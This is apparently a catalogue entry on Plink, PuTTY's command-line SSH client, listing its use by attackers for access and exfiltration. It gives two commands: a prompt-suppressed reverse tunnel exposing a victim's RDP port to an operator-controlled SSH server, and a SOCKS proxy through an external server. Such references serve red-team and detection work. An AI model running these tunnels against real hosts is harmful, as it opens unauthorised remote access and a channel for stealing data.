.. /Plink
Star

Access
Exfiltration

Plink is the command-line SSH client from the PuTTY suite. It supports SSH local, remote and dynamic port forwarding without an interactive session, and is frequently dropped onto Windows hosts, where no other SSH client may be present, to create reverse tunnels to an operator-controlled SSH server.

Paths:

Resources:

Detections:

Access

  1. Creates a reverse tunnel so the operator can reach the victim's RDP service through the SSH server. -batch suppresses prompts, including the host key prompt when combined with -hostkey.

    plink.exe -ssh -N -batch -R <REMOTE_PORT>:127.0.0.1:3389 -pw <PASSWORD> <USER>@<SERVER>
    Use case
    Exposing an internal service (RDP, SMB, SSH) to an external SSH server.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

Exfiltration

  1. Dynamic forwarding. Opens a local SOCKS proxy through the SSH server.

    plink.exe -ssh -N -batch -D 127.0.0.1:1080 <USER>@<SERVER>
    Use case
    Routing traffic through an external SSH server.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS